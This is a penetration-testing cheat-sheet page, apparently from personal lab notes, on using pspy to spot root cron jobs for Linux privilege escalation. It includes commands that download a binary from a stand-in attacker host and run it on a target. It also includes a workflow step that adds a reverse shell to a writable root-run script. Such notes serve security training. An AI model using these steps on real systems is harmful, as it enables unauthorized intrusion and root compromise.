pspy
Ctrl+F:
pspy·cron·hidden·root
What it is: Monitors process creation on Linux without root — catches cron jobs and scripts you can’t see in /etc/cron* (permissions, hidden paths).
Repo: DominicBreuker/pspy
Install / transfer
# On Kali — build or download release binary
git clone https://github.com/DominicBreuker/pspy.git
# Or wget release: pspy32 / pspy64 / pspy32s / pspy64s
# Transfer to target
wget http://ATTACKER:8080/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64| Binary | Notes |
|---|---|
pspy64 | 64-bit, no libc deps |
pspy32 | 32-bit |
pspy64s | Uses system libc (smaller) |
Usage
one liner
curl http://192.168.45.227:8000/pspy64 -o pspy64 && chmod a+x pspy64 && ./pspy64
./pspy64
./pspy64 -pf -i 1000 # Print full command line, poll every 1s
./pspy64 -f -i 500 # File events tooRun 1–5 minutes while waiting for cron — watch for root executing scripts.
Privesc workflow
1. Low shell → transfer pspy64
2. ./pspy64 -pf -i 1000 (background or second terminal)
3. See root run /opt/scripts/backup.sh
4. ls -la /opt/scripts/backup.sh → writable?
5. Add reverse shell to script → wait for cron
→ Linux > cron · Privesc Tools
Quick cheat sheet
wget http://ATTACKER:8080/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64
./pspy64 -pf -i 1000📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration